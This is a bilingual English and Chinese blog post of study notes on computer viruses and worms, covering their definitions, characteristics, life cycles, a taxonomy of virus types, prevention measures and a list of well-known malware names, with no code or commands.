{"id":413,"date":"2017-03-10T21:04:00","date_gmt":"2017-03-10T13:04:00","guid":{"rendered":"http:\/\/note.systw.net\/note\/?p=413"},"modified":"2024-02-17T20:34:40","modified_gmt":"2024-02-17T12:34:40","slug":"virus-worm","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/413","title":{"rendered":"Virus Worm"},"content":{"rendered":"\n

virus<\/strong>
virus is a piece of code that adds itself to other programs, including operating systems. It cannot run independently and it requires that its host program be run to activate it.
\u96fb\u8166\u75c5\u6bd2\u662f\u4e00\u6bb5\u7a0b\u5f0f\uff0c\u80fd\u628a\u81ea\u8eab\u52a0\u5230\u5176\u4ed6\u7a0b\u5f0f\u5305\u62ec\u4f5c\u696d\u7cfb\u7d71\u4e0a\u3002\u5b83\u4e0d\u80fd\u7368\u7acb\u904b\u884c\uff0c\u9700\u8981\u7531\u5b83\u7684\u5bbf\u4e3b\u7a0b\u5e8f\u7684\u904b\u884c\u4f86\u555f\u52d5\u5b83
worm<\/strong>
\u96fb\u8166\u8815\u87f2\u53ef\u4ee5\u7368\u7acb\u904b\u884c\uff0c\u4e26\u80fd\u628a\u81ea\u5df1\u7684\u6240\u6709\u529f\u80fd\u6574\u500b\u5305\u88dd\u8d77\u4f86\u50b3\u64ad\u5230\u5176\u5b83\u7684\u96fb\u8166\u4e0a
by Eugene H. Spafford<\/p>\n\n\n\n

virus vs worm
worm\u8207virus\u76f8\u4f3c\uff0c\u662f\u4e00\u7a2e\u80fd\u5920\u81ea\u6211\u8907\u88fd\u7684\u96fb\u8166\u7a0b\u5f0f
\u5dee\u7570\u5982\u4e0b
virus<\/strong>
\u9700\u8981\u5bc4\u4e3b\u624d\u53ef\u57f7\u884c(\u6703\u8907\u88fd\u81ea\u5df1\u4e26\u50b3\u64ad\u5230\u5176\u4ed6\u4f5c\u696d\u7cfb\u7d71)
\u6bd4\u8f03\u9700\u8981user\u53bb\u89f8\u767c(\u50b3\u64ad\u671f\u9593\u4e00\u822c\u6703\u96b1\u853d\u81ea\u5df1\uff0c\u7531\u7279\u5b9a\u7684\u689d\u4ef6\u89f8\u767c\uff0c\u4e26\u958b\u59cb\u7522\u751f\u7834\u58de)
\u50b3\u64ad\u65b9\u5f0f,\u4e3b\u8981\u662f\u900f\u904e\u53ef\u651c\u5f0f\u5132\u5b58\u5a92\u9ad4
\u5f71\u97ff:\u6703\u76f4\u63a5\u7834\u58de\u88ab\u611f\u67d3\u7cfb\u7d71,\u53ef\u80fd\u6703\u640d\u6bc0\u6216\u4fee\u6539\u76ee\u6a19\u96fb\u8166\u7684\u6a94\u6848
worm<\/strong>
\u4e0d\u4e00\u5b9a\u8981\u5bc4\u4e3b\u5373\u53ef\u57f7\u884c(\u4e0d\u9700\u8981\u9644\u5728\u5225\u7684\u7a0b\u5f0f\u5167)
\u53ef\u4ee5\u4e3b\u52d5\u7684\u53bb\u505a\u653b\u64ca(\u53ef\u80fd\u4e0d\u7528\u4f7f\u7528\u8005\u4ecb\u5165\u64cd\u4f5c\u4e5f\u80fd\u81ea\u6211\u8907\u88fd\u6216\u57f7\u884c)
\u50b3\u64ad\u65b9\u5f0f,\u4e3b\u8981\u662f\u900f\u904e\u7db2\u8def
\u5f71\u97ff:\u672a\u5fc5\u6703\u76f4\u63a5\u7834\u58de\u88ab\u611f\u67d3\u7684\u7cfb\u7d71,\u4f46\u6703\u8b93\u7db2\u8def\u57f7\u884c\u6548\u7387\u5927\u5e45\u964d\u4f4e,\u6216\u662f\u6d6a\u8cbb\u983b\u5bec<\/p>\n\n\n\n

\u60e1\u610f\u7684worm\u53ef\u6839\u64da\u5176\u76ee\u7684\u5206\u62102\u985e\uff1a<\/strong>
\u4e00\u7a2e\u662f\u9762\u5c0d\u5927\u898f\u6a21\u96fb\u8166\u4f7f\u7528\u7db2\u8def\u767c\u52d5\u62d2\u7d55\u670d\u52d9\u7684\u96fb\u8166\u8815\u87f2
\u53e6\u4e00\u7a2e\u662f\u91dd\u5c0d\u500b\u4eba\u7528\u6236\u7684\u4ee5\u57f7\u884c\u5927\u91cf\u5783\u573e\u4ee3\u78bc\u7684\u96fb\u8166\u8815\u87f2<\/p>\n\n\n\n

\u6563\u64ad\u65b9\u5f0f<\/strong>
\u6b65\u9a5f1,WORM\u901a\u5e38\u6703\u900f\u904e\u7db2\u8def\u5a92\u4ecb\u4e3b\u52d5\u5c0b\u627e\u76ee\u6a19,\u5a92\u4ecb\u5305\u62ec\u5340\u57df\u7db2\u8def,\u96fb\u5b50\u90f5\u4ef6,\u5373\u6642\u901a\u8a0a\u8edf\u9ad4,…\u7b49
\u6b65\u9a5f2,\u4e00\u4f46\u627e\u5230\u76ee\u6a19\u5f8c\u6703\u8a66\u5716\u900f\u904e\u7cfb\u7d71\u7684\u6f0f\u6d1e\u9032\u884c\u611f\u67d3\u4e26\u5bc4\u5bbf\u5728\u7cfb\u7d71\u5167
\u6b65\u9a5f3,\u4e0d\u65b7\u91cd\u8986\u6b65\u9a5f1\u5230\u6b65\u9a5f2
\u9632\u6b62\u65b9\u6cd5<\/strong>
\u4fee\u88dc\u7cfb\u7d71\u6f0f\u6d1e,\u9632\u6b62\u88abWORM\u611f\u67d3
\u4f7f\u7528\u542b\u6700\u65b0\u75c5\u6bd2\u78bc\u7684\u9632\u6bd2\u8edf\u9ad4,\u4fdd\u8b77\u7cfb\u7d71\u4e0d\u88ab\u611f\u67d3
\u958b\u555f\u9632\u706b\u7246,\u6e1b\u5c11\u53ef\u80fd\u88ab\u5165\u4fb5\u7684\u670d\u52d9
\u5075\u6e2c\u7570\u5e38\u7db2\u8def\u884c\u70ba,\u5305\u62ec\u63cf\u6383\u7db2\u8def,\u5927\u91cf\u76f8\u540c\u5c01\u5305\u9001\u81f3\u4e0d\u540c\u7cfb\u7d71
\u4f7f\u7528\u542b\u6700\u65b0\u7279\u5fb5\u78bc\u7684IDS\u6216IPS\u4fdd\u8b77\u7db2\u8def<\/p>\n\n\n\n

virus history<\/strong>
the first virus was discovered in 1981
ps:
the senior most virus,”eik cloner”
worm history<\/strong>
the first worm is morris
\u4f5c\u8005\u662fMr. Robert T. Morris<\/p>\n\n\n\n

………..<\/p>\n\n\n\n

characteristics of virus<\/p>\n\n\n\n

\u50b3\u64ad\u6027<\/strong>
\u75c5\u6bd2\u4e00\u822c\u6703\u81ea\u52d5\u5229\u752825\u96fb\u5b50\u90f5\u4ef6\u57e0\u50b3\u64ad\uff0c\u5229\u7528\u7269\u4ef6\u70ba\u5fae\u8edf\u4f5c\u696d\u7cfb\u7d71\u6346\u7d81\u7684Outlook\u7684\u67d0\u500b\u6f0f\u6d1e\u3002\u5c07\u75c5\u6bd2\u81ea\u52d5\u8907\u88fd\u4e26\u7fa4\u767c\u7d66\u5132\u5b58\u7684\u901a\u8a0a\u9304\u540d\u55ae\u6210\u54e1\u3002\u90f5\u4ef6\u6a19\u984c\u8f03\u70ba\u5438\u5f15\u4eba\u9ede\u64ca\uff0c\u5927\u591a\u5229\u7528\u793e\u6703\u5de5\u7a0b\u5b78\u5982\u300c\u6211\u611b\u59b3\u300d\u9019\u6a23\u5bb6\u4eba\u670b\u53cb\u4e4b\u9593\u89aa\u5bc6\u7684\u8a71\u8a9e\uff0c\u4ee5\u964d\u4f4e\u4eba\u7684\u8b66\u6212\u6027\u3002\u5982\u679c\u75c5\u6bd2\u88fd\u4f5c\u8005\u518d\u61c9\u7528\u6307\u4ee4\u78bc\u6f0f\u6d1e\uff0c\u5c07\u75c5\u6bd2\u76f4\u63a5\u5d4c\u5165\u90f5\u4ef6\u4e2d\uff0c\u90a3\u9ebc\u4f7f\u7528\u8005\u4e00\u9ede\u90f5\u4ef6\u6a19\u984c\u958b\u555f\u90f5\u4ef6\u5c31\u6703\u4e2d\u75c5\u6bd2\u3002<\/p>\n\n\n\n

\u96b1\u853d\u6027<\/strong>
\u6700\u5927\u7684\u75c5\u6bd2\u4e0d\u904e1MB\uff0c\u4e00\u822c\u7684\u75c5\u6bd2\u50c5\u5728 1KB\u5de6\u53f3\uff0c\u9019\u6a23\u9664\u4e86\u50b3\u64ad\u5feb\u901f\u4e4b\u5916\uff0c\u96b1\u853d\u6027\u4e5f\u6975\u5f37\u3002
\u90e8\u5206\u75c5\u6bd2\u4f7f\u7528\u300c\u7121\u884c\u7a0b\u300d\u6280\u8853\u6216\u63d2\u5165\u5230\u67d0\u500b\u7cfb\u7d71\u5fc5\u8981\u7684\u95dc\u9375\u884c\u7a0b\u7576\u4e2d(\u5de5\u4f5c\u7ba1\u7406\u54e1\u4e2d\u7684\u8655\u7406\u7a0b\u5f0f\u5167\uff0c\u7121\u6cd5\u95dc\u9589\u7684\u5c31\u662f\u4e86)\uff0c\u6240\u4ee5\u5728\u4efb\u52d9\u7ba1\u7406\u5668\u4e2d\u627e\u4e0d\u5230\u5b83\u7684\u55ae\u7368\u57f7\u884c\u884c\u7a0b\u3002
\u800c\u75c5\u6bd2\u81ea\u8eab\u4e00\u65e6\u57f7\u884c\u5f8c\uff0c\u5c31\u6703\u81ea\u5df1\u4fee\u6539\u81ea\u5df1\u7684\u6a94\u540d\u4e26\u96b1\u85cf\u5728\u67d0\u500b\u4f7f\u7528\u8005\u4e0d\u5e38\u53bb\u7684\u7cfb\u7d71\u8cc7\u6599\u593e\u4e2d\uff0c\u9019\u6a23\u7684\u8cc7\u6599\u593e\u901a\u5e38\u6709\u4e0a\u5343\u500b\u7cfb\u7d71\u6a94\u6848\uff0c\u5982\u679c\u6191\u624b\u5de5\u5c0b\u627e\u5f88\u96e3\u627e\u5230\u75c5\u6bd2\u3002
\u800c\u75c5\u6bd2\u5728\u57f7\u884c\u524d\u7684\u507d\u88dd\u6280\u8853\u4e5f\u4e0d\u5f97\u4e0d\u503c\u5f97\u6211\u5011\u95dc\u6ce8\uff0c\u5c07\u75c5\u6bd2\u548c\u4e00\u500b\u5438\u5f15\u4eba\u7684\u6a94\u6848\u6346\u7d81\u5408\u4f75\u6210\u4e00\u500b\u6a94\u6848\uff0c\u90a3\u9ebc\u57f7\u884c\u6b63\u5e38\u5438\u5f15\u4ed6\u7684\u6a94\u6848\u6642\uff0c\u75c5\u6bd2\u4e5f\u5728\u6211\u5011\u7684\u4f5c\u696d\u7cfb\u7d71\u4e2d\u6084\u6084\u7684\u57f7\u884c\u4e86\u3002<\/p>\n\n\n\n

\u611f\u67d3\u6027<\/strong>
\u67d0\u4e9b\u75c5\u6bd2\u5177\u6709\u611f\u67d3\u6027\uff0c\u6bd4\u5982\u611f\u67d3\u4e2d\u6bd2\u4f7f\u7528\u8005\u96fb\u8166\u4e0a\u7684\u53ef\u57f7\u884c\u6a94\u6848\uff0c\u5982exe\u3001bat\u3001scr\u3001com\u683c\u5f0f\uff0c\u900f\u904e\u9019\u7a2e\u65b9\u6cd5\u9054\u5230\u81ea\u6211\u8907\u88fd\uff0c\u5c0d\u81ea\u5df1\u751f\u5b58\u4fdd\u8b77\u7684\u76ee\u7684\u3002
\u901a\u5e38\u4e5f\u53ef\u4ee5\u5229\u7528\u7db2\u8def\u5171\u4eab\u7684\u6f0f\u6d1e\uff0c\u8907\u88fd\u4e26\u50b3\u64ad\u7d66\u9130\u8fd1\u7684\u96fb\u8166\u4f7f\u7528\u8005\u7fa4\uff0c\u4f7f\u9130\u91cc\u900f\u904e\u8def\u7531\u5668\u4e0a\u7db2\u7684\u96fb\u8166\u6216\u7db2\u5496\u7684\u96fb\u8166\u7684\u591a\u53f0\u96fb\u8166\u7684\u7a0b\u5f0f\u5168\u90e8\u53d7\u5230\u611f\u67d3\u3002<\/p>\n\n\n\n

\u6f5b\u4f0f\u6027<\/strong>
\u90e8\u5206\u75c5\u6bd2\u6709\u4e00\u5b9a\u7684\u300c\u6f5b\u4f0f\u671f\u300d\uff0c\u5728\u7279\u5b9a\u7684\u65e5\u5b50\uff0c\u5982\u67d0\u500b\u7bc0\u65e5\u6216\u8005\u661f\u671f\u5e7e\u6309\u6642\u7206\u767c\u3002
ex:
1999\u5e74\u7834\u58deBIOS\u7684CIH\u75c5\u6bd2\u5c31\u5728\u6bcf\u5e74\u76844\u670826\u65e5\u7206\u767c\u3002\u5982\u540c\u751f\u7269\u75c5\u6bd2\u4e00\u6a23\uff0c\u9019\u4f7f\u96fb\u8166\u75c5\u6bd2\u53ef\u4ee5\u5728\u7206\u767c\u4e4b\u524d\uff0c\u4ee5\u6700\u5927\u5e45\u5ea6\u6563\u64ad\u958b\u53bb\u3002<\/p>\n\n\n\n

\u53ef\u6fc0\u767c\u6027<\/strong>
\u6839\u64da\u75c5\u6bd2\u4f5c\u8005\u7684\u300c\u9700\u6c42\u300d\uff0c\u8a2d\u5b9a\u89f8\u767c\u75c5\u6bd2\u653b\u64ca\u7684\u300c\u7384\u6a5f\u300d\u3002
ex:
CIH\u75c5\u6bd2\u7684\u88fd\u4f5c\u8005\u9673\u76c8\u8c6a\u66fe\u6253\u7b97\u8a2d\u8a08\u7684\u75c5\u6bd2\uff0c\u5c31\u662f\u300c\u7cbe\u5fc3\u300d\u70ba\u7c21\u9ad4\u4e2d\u6587Windows\u7cfb\u7d71\u6240\u8a2d\u8a08\u7684\u3002\u75c5\u6bd2\u57f7\u884c\u5f8c\u6703\u4e3b\u52d5\u6aa2\u6e2c\u4e2d\u6bd2\u8005\u4f5c\u696d\u7cfb\u7d71\u7684\u8a9e\u8a00\uff0c\u5982\u679c\u767c\u73fe\u4f5c\u696d\u7cfb\u7d71\u8a9e\u8a00\u70ba\u7c21\u9ad4\u4e2d\u6587\uff0c\u75c5\u6bd2\u5c31\u6703\u81ea\u52d5\u5c0d\u96fb\u8166\u767c\u8d77\u653b\u64ca\uff0c\u800c\u8a9e\u8a00\u4e0d\u662f\u7c21\u9ad4\u4e2d\u6587\u7248\u672c\u7684Windows\uff0c\u90a3\u9ebc\u4f60\u5373\u4f7f\u57f7\u884c\u4e86\u75c5\u6bd2\uff0c\u75c5\u6bd2\u4e5f\u4e0d\u6703\u5c0d\u4f60\u7684\u96fb\u8166\u767c\u8d77\u653b\u64ca\u6216\u8005\u7834\u58de\u3002<\/p>\n\n\n\n

\u8868\u73fe\u6027<\/strong>
\u75c5\u6bd2\u57f7\u884c\u5f8c\uff0c\u5982\u679c\u6309\u7167\u4f5c\u8005\u7684\u8a2d\u8a08\uff0c\u6703\u6709\u4e00\u5b9a\u7684\u8868\u73fe\u7279\u5fb5\uff0c\u5982CPU\u4f54\u7528\u7387 100%\uff0c\u5728\u4f7f\u7528\u8005\u7121\u4efb\u4f55\u64cd\u4f5c\u4e0b\u8b80\u5beb\u786c\u789f\u6216\u5176\u4ed6\u78c1\u789f\u8cc7\u6599\uff0c\u85cd\u5c4f\u6b7b\u6a5f\uff0c\u6ed1\u9f20; \u53f3\u9375\u7121\u6cd5\u4f7f\u7528\u7b49\u3002
\u4f46\u9019\u6a23\u660e\u986f\u7684\u8868\u73fe\u7279\u5fb5\uff0c\u53cd\u5012\u5e6b\u52a9\u88ab\u611f\u67d3\u75c5\u6bd2\u8005\u767c\u73fe\u81ea\u5df1\u5df2\u7d93\u611f\u67d3\u75c5\u6bd2\u4e26\u5c0d\u6e05\u9664\u75c5\u6bd2\u5f88\u6709\u5e6b\u52a9\uff0c\u96b1\u853d\u6027\u5c31\u4e0d\u5b58\u5728\u4e86\u3002<\/p>\n\n\n\n

\u7834\u58de\u6027<\/strong>
\u67d0\u4e9b\u5a01\u529b\u5f37\u5927\u7684\u75c5\u6bd2\uff0c\u57f7\u884c\u5f8c\u76f4\u63a5\u683c\u5f0f\u5316\u4f7f\u7528\u8005\u7684\u786c\u789f\u8cc7\u6599\uff0c\u66f4\u70ba\u53b2\u5bb3\u4e00\u4e9b\u53ef\u4ee5\u7834\u58de\u5f15\u5c0e\u6247\u5340\u4ee5\u53caBIOS\uff0c\u5df2\u7d93\u5728\u786c\u9ad4\u74b0\u5883\u9020\u6210\u4e86\u76f8\u7576\u5927\u7684\u7834\u58de\u3002<\/p>\n\n\n\n

ps:\u901a\u5e38\u8868\u73fe\u5169\u7a2e\u4ee5\u4e0a\u6240\u8ff0\u7684\u7279\u5fb5\u5c31\u53ef\u4ee5\u8a8d\u5b9a\u8a72\u7a0b\u5f0f\u662f\u75c5\u6bd2\u3002<\/p>\n\n\n\n

…….<\/p>\n\n\n\n

working of virus:<\/strong>
1 infection phase
2 attack phase<\/p>\n\n\n\n

why people create computer viruses<\/strong>
\u7814\u7a76
\u653b\u64ca
\u8cfa\u9322<\/p>\n\n\n\n

symptoms of virus attack<\/strong>
\u96fb\u8166\u7a81\u7136\u7576\u6389\u6216\u505c\u4f4f
IE\u505c\u4f4f,CPU\u5403\u5230\u767e\u5206\u4e4b\u767e,\u53ef\u662f\u56e0\u70ba\u60e1\u610f\u7a0b\u5f0f\u5728\u505a\u586b\u5165\u8a18\u61b6\u9ad4\u52d5\u4f5c<\/p>\n\n\n\n

ps:
virus hoaxes(\u60e1\u4f5c\u64da\u75c5\u6bd2)<\/strong>
hoaxes are false alarms claiming reports about a non-existing virus<\/p>\n\n\n\n

……………………………………………………………………………………………………………………<\/p>\n\n\n\n

modes of virus infection<\/p>\n\n\n\n

infect system\u65b9\u6cd5:<\/strong>
loads itself into memory and checks for excutables on the disk
appends malicious code to a legitimate program without the user’s permission or knowledge
since the user is unaware of the replacement , user launches the infected program
as a result of the infected program being executed,other programs get infected as well<\/p>\n\n\n\n

virus spreads\u6709\u4ee5\u4e0b3\u7a2e
infected file<\/strong>:a virus can infect other file,ex:word files
file sharing services<\/strong>:a virus can take advantage of file servers to infect file from then on
floppies and other storage mediums<\/strong>:when infected disks are inserted into a clean system,it will also become infected<\/p>\n\n\n\n

…………………………………………………………………………….<\/p>\n\n\n\n

life cycle of virus
1
design(\u5275\u9020\u671f)<\/strong> \u75c5\u6bd2\u88ab\u8a2d\u8a08\u51fa\u4f86
2
replication(\u6f5b\u4f0f\u611f\u67d3\u671f)<\/strong> \u8907\u88fd
\u5728\u6f5b\u4f0f\u671f\u4e2d\uff0c\u8a08\u7b97\u6a5f\u75c5\u6bd2\u6703\u4e0d\u65b7\u5730\u7e41\u6b96\u8207\u50b3\u67d3\u3002
\u4e00\u500b\u5b8c\u7f8e\u7684\u8a08\u7b97\u6a5f\u75c5\u6bd2\u64c1\u6709\u5f88\u9577\u7684\u6f5b\u4f0f\u671f\uff0c\u5982\u6b64\u4e00\u4f86\u8a08\u7b97\u6a5f\u75c5\u6bd2\u5c31\u6709\u66f4\u591a\u7684\u6642\u9593\u53bb\u50b3\u64ad\u5230\u66f4\u591a\u7684\u5730\u65b9\uff0c\u4e00\u65e6\u767c\u4f5c\u5c07\u6703\u9020\u6210\u66f4\u5927\u7684\u5371\u5bb3\u3002
ex:\u7c73\u958b\u6717\u57fa\u7f85\u75c5\u6bd2\uff0c\u5728\u6bcf\u5e74\u4e09\u6708\u516d\u65e5\u767c\u4f5c\u524d\uff0c\u6709\u6574\u6574\u4e00\u5e74\u7684\u6f5b\u4f0f\u671f\u3002
3
lanuch(\u767c\u4f5c\u671f)<\/strong> \u958b\u59cb\u57f7\u884c
\u7576\u4e00\u5207\u689d\u4ef6\u5f62\u6210\u4e4b\u5f8c\uff0c\u8a08\u7b97\u6a5f\u75c5\u6bd2\u65bc\u662f\u5c31\u958b\u59cb\u7834\u58de\u7684\u884c\u52d5\u3002
\u6709\u4e9b\u8a08\u7b97\u6a5f\u75c5\u6bd2\u6703\u5728\u67d0\u4e9b\u7279\u5b9a\u7684\u65e5\u671f\u767c\u4f5c\uff0c\u6709\u4e9b\u5247\u81ea\u5df1\u6709\u500b\u5012\u6578\u8a08\u6642\u88dd\u7f6e\u4f86\u6c7a\u5b9a\u767c\u75c5\u7684\u6642\u9593\u3002
ps: \u96d6\u7136\u6709\u4e9b\u8a08\u7b97\u6a5f\u75c5\u6bd2\u767c\u4f5c\u6642\u4e26\u6c92\u6709\u7834\u58de\u52d5\u4f5c\uff0c\u4f46\u662f\u5b83\u5011\u4ecd\u7136\u6703\u4f54\u64da\u4e00\u4e9b\u7cfb\u7d71\u8cc7\u6e90\uff0c\u5f9e\u800c\u964d\u4f4e\u7cfb\u7d71\u904b\u4f5c\u7684\u6548\u7387\u3002
4
detection(\u767c\u73fe\u671f)<\/strong> \u88ab\u5075\u6e2c\u5230
\u4e00\u65e6\u8a08\u7b97\u6a5f\u75c5\u6bd2\u767c\u4f5c\uff0c\u4e5f\u5c31\u662f\u5b83\u88ab\u767c\u73fe\u7684\u6642\u671f\u3002
5
incorporation(\u540c\u5316\u671f)<\/strong> \u958b\u767c\u75c5\u6bd2\u78bc
\u5728\u9019\u4e00\u968e\u6bb5\uff0c\u6bba\u6bd2\u8edf\u4ef6\u958b\u767c\u4eba\u54e1\u4fee\u6539\u4ed6\u5011\u7684\u8edf\u4ef6\uff0c\u4f7f\u4e4b\u80fd\u5920\u6aa2\u6e2c\u5230\u9019\u7a2e\u65b0\u8a08\u7b97\u6a5f\u75c5\u6bd2\u3002
\u6642\u9593\u7684\u9577\u77ed\u4f9d\u8cf4\u65bc\u958b\u767c\u8005\u7684\u60c5\u6cc1\u548c\u8a08\u7b97\u6a5f\u75c5\u6bd2\u985e\u578b\u3002
6
elimination(\u6839\u9664\u671f)<\/strong>
\u5982\u679c\u6709\u76f8\u61c9\u9632\u7bc4\u529f\u80fd\u7684\u8edf\u4ef6\u80fd\u5920\u6aa2\u6e2c\u53ca\u63a7\u5236\u9019\u4e9b\u8a08\u7b97\u6a5f\u75c5\u6bd2\uff0c\u4e26\u4e14\u4f7f\u7528\u4e86\u9019\u4e9b\u8edf\u4ef6\uff0c\u90a3\u9ebc\u9019\u4e9b\u8a08\u7b97\u6a5f\u75c5\u6bd2\u5c31\u6709\u53ef\u80fd\u88ab\u6839\u9664\u3002
ps:\u76ee\u524d\u7121\u4eba\u6562\u5ba3\u7a31\u67d0\u4e00\u8a08\u7b97\u6a5f\u75c5\u6bd2\u5df2\u7d93\u5b8c\u5168\u7d55\u8de1\uff0c\u4f46\u662f\u6709\u4e9b\u8a08\u7b97\u6a5f\u75c5\u6bd2\u5df2\u7d93\u5f88\u660e\u986f\u5730\u7684\u88ab\u5b8c\u5168\u5236\u6b62\u4e86<\/p>\n\n\n\n

life cycle of worm
1
target selection<\/strong>
\u9078\u64c7\u76ee\u6a19,\u5229\u7528\u6383\u63cf\u6216\u5176\u4ed6\u65b9\u5f0f\u505a\u63a2\u6e2c
2
exploitation<\/strong>
\u9078\u597d\u76ee\u6a19\u5f8c\u5229\u7528\u76ee\u6a19\u7cfb\u7d71\u7684\u6f0f\u6d1e\u9032\u884c\u611f\u67d3
3
infection<\/strong>
\u611f\u67d3\u76ee\u6a19\u5f8c,\u57f7\u884cWORM\u4f5c\u8005\u6240\u8981\u6c42\u7684\u52d5\u4f5c
4
propagation<\/strong>
\u88ab\u611f\u67d3\u76ee\u6a19\u6210\u70ba\u653b\u64ca\u8005\u958b\u59cb\u91cd\u8986\u6b65\u9a5f1
by IDRP,2002<\/p>\n\n\n\n

……………………………………………………………………………………………………………………………..<\/p>\n\n\n\n

type of virus
\u4f9d\u611f\u67d3\u4ec0\u9ebc\u5206\u70ba:
\u3000system sector or boot virus:\u5beb\u5165\u958b\u6a5f\u78c1\u5340
file virus:\u5beb\u5165\u6a94\u6848
macro virus:\u5229\u7528\u8edf\u9ad4\u672c\u8eab\u6240\u63d0\u4f9b\u7684\u5de8\u96c6\u80fd\u529b\u4f86\u8a2d\u8a08\u75c5\u6bd2
source code virus:\u5e38\u51fa\u73fe\u5728\u7db2\u7ad9\u4e0a,\u6703\u63d2\u5165code\u9032php\u7684include\u6a94\u4e2d,…\u7b49
network virus:\u5e38\u51fa\u73fe,\u6703scan network,…\u7b49
\u4f9d\u611f\u67d3\u65b9\u5f0f\u5206\u70ba
stealth virus:\u96b1\u85cf\u81ea\u5df1
polymorphic virus:\u8b8a\u5316\u81ea\u5df1
cavity virus:\u628a\u539f\u6a94\u6848\u5167\u5bb9\u5403\u6389\u5728\u653e\u5165\u4ed6\u81ea\u5df1,\u4f7f\u6a94\u6848\u5927\u5c0f\u4e00\u6a23
tunneling virus:\u5efa\u7acb\u901a\u9053
camouflage virus:\u96b1\u85cf\u5728\u67d0\u500b\u5730\u65b9
\u4f9d\u5f62\u6210\u65b9\u5f0f\u5206\u70ba
shell virus
add-on
intrusive virus
\u4f9dhow the viral code infects the target system
direct or transient virus
terminate and stay resident virus<\/p>\n\n\n\n

…<\/p>\n\n\n\n

system sector virus<\/strong>
boot virues use all of the common viral techniques to infect and hide themselves
ps:system sectors are often targets for viruses<\/p>\n\n\n\n

File Infector Virus:<\/strong>
\u901a\u5e38\u5bc4\u751f\u5728\u53ef\u57f7\u884c\u6a94\u4e2d, ex:COM,EXE,…
\u7576\u9019\u4e9b\u6a94\u6848\u88ab\u57f7\u884c\u6642, \u75c5\u6bd2\u7684\u7a0b\u5f0f\u5c31\u8ddf\u8457\u88ab\u57f7\u884c
\u53ef\u5728\u5206\u6210\u4ee5\u4e0b\u5169\u7a2e :
Non-memory Resident Virus(\u975e\u5e38\u99d0\u578b\u75c5\u6bd2) :
\u5bc4\u751f\u5728COM,EXE,SYS\u7684\u6a94\u6848\u4e2d,\u7576\u9019\u4e9b\u4e2d\u6bd2\u7684\u7a0b\u5f0f\u88ab\u57f7\u884c\u6642,\u5c31\u6703\u5617\u8a66\u5730\u53bb\u50b3\u67d3\u7d66\u5225\u7684\u6a94\u6848\u3002
Memory Resident Virus(\u5e38\u99d0\u578b\u75c5\u6bd2) :
\u5bc4\u751f\u5728\u8a18\u61b6\u9ad4\u4e2d, \u53ea\u8981\u4efb\u4f55\u57f7\u884c\u6a94\u88ab\u57f7\u884c, \u5b83\u5c31\u5c0d\u5176\u9032\u884c\u611f\u67d3\u7684\u52d5\u4f5c 
refer
http:\/\/www.trend.com.tw\/corporate\/security\/virusprimer_1.htm<\/p>\n\n\n\n

stealth virus<\/strong>
evade anti-virus software by intercepting its requests to the operating system
\u6383\u6bd2\u6642,\u75c5\u6bd2\u5c07\u6b63\u5e38\u6a94\u6848\u4ea4\u7d66anti- virus software,\u8b93\u75c5\u6bd2\u81ea\u5df1\u6c92\u88ab\u6383\u5230<\/p>\n\n\n\n

polymorphic virus<\/strong>
\u4f7f\u7528 polymorphic code\u7684virus
\u53ef\u5728\u6bcf\u6b21\u611f\u67d3\u5f8c\u8b8a\u66f4\u5176\u5be6\u969b\u578b\u5f0f(\u7279\u5fb5)\uff0c\u540c\u6642\u53c8\u4fdd\u6301\u76f8\u540c\u7684\u57fa\u672c\u624b\u6cd5\u3002
\u5e38\u7528\u7684\u6280\u5de7\u5c31\u662f\u5728\u6bcf\u6b21\u611f\u67d3\u671f\u9593\u6703\u52a0\u5bc6\u5176\u7a0b\u5f0f\u78bc\uff0c\u900f\u904e\u6bcf\u6b21\u8b8a\u5316\u52a0\u5bc6\u91d1\u9470\u800c\u8b8a\u66f4\u5176\u5be6\u969b\u6a94\u6848\u69cb\u9020\u3002
\u6b64\u75c5\u6bd2\u5177\u6709\u8b8a\u66f4\u5176\u7279\u5fb5\u7684\u80fd\u529b\u4f86\u8eb2\u904eantivirus program,,\u6240\u4ee5\u7121\u6cd5\u88ab\u4e00\u822c\u7684signature-based antivirus program\u5075\u6e2c\u5230\u672a\u77e5\u7684\u8b8a\u5316<\/p>\n\n\n\n

metamorphic virus<\/strong>
\u4f7f\u7528 metamorphic code\u7684virus
\u9664\u4e86\u50cfpolymorphic\u6703\u6539\u8b8a\u7279\u5fb5\u5916,\u9023\u884c\u70ba\u4e5f\u6703\u8ddf\u8457\u6539\u8b8a 
ex:simile,zmist
ps:mistfall is the first virus to use the technique called “code integration”<\/p>\n\n\n\n

cavity virus<\/strong>
the virus overwrites a part of the host file that is filled with a constant,without increasing the length of the file,but preserving its functionality
ps:the most popular virus family is the CIH virus<\/p>\n\n\n\n

…..<\/p>\n\n\n\n

spare infector virus<\/strong>
virus\u53ea\u5728\u7279\u5b9a\u6642\u9593\u9ede\u88abwake up
\u53ef\u6e1b\u5c11\u88ab\u5075\u6e2c\u5230\u7684\u6a5f\u6703<\/p>\n\n\n\n

companion virus<\/strong>
\u66f4\u6539\u526f\u6a94\u540d,\u8b93\u540c\u6a23\u6a94\u540d\u63d0\u9ad8\u512a\u5148\u57f7\u884c\u9806\u5e8f
ex:\u5728\u76f8\u540c\u6a94\u540d\u4e0b,\u526f\u6a94\u540d.com\u6703\u6bd4.exe\u5148\u88ab\u958b\u555f<\/p>\n\n\n\n

file extension virus<\/strong>
\u6539\u8b8a\u526f\u6a94\u540d,\u8b93user\u8aa4\u4ee5\u70ba\u4e0d\u662f\u57f7\u884c\u6a94<\/p>\n\n\n\n

…<\/p>\n\n\n\n

self-modification<\/strong>
evade signatures anti-virus software
\u65b9\u6cd5\u6709:
simple self-modification
encryption with a variable key
polymorphic code:modify their code for each replication in order to avoid detection
metamorphic code:the code can reprogram itself<\/p>\n\n\n\n


…………………………………………………………………………………………………………………………………………………………………………<\/p>\n\n\n\n

famous viruses and worms<\/strong>
i love you virus
melissa virus
js.spth
klez
slammer worm
mydoom.b:<\/p>\n\n\n\n

latest virus:<\/strong>
w32\/vulgar
w32\/hllp.zori.c@m
w32\/feebs.gen@mm<\/p>\n\n\n\n

win32.autorun.ah
w32\/virut: \u611f\u67d3exe,scr
w32\/divvi
worm.symbos.lasco.a:\u4f7f\u7528\u85cd\u82bd
disk killer
bad boy
happy box
java.strangebrew
montecarlo family
php.neworld: \u611f\u67d3include
w32\/wboy.a
exebug.d
w32\/voterai.worm.e
w32\/lecivio.worm
w32\/lurka.a
w32\/vora.worm!p2p<\/p>\n\n\n\n

…<\/p>\n\n\n\n

Melissa
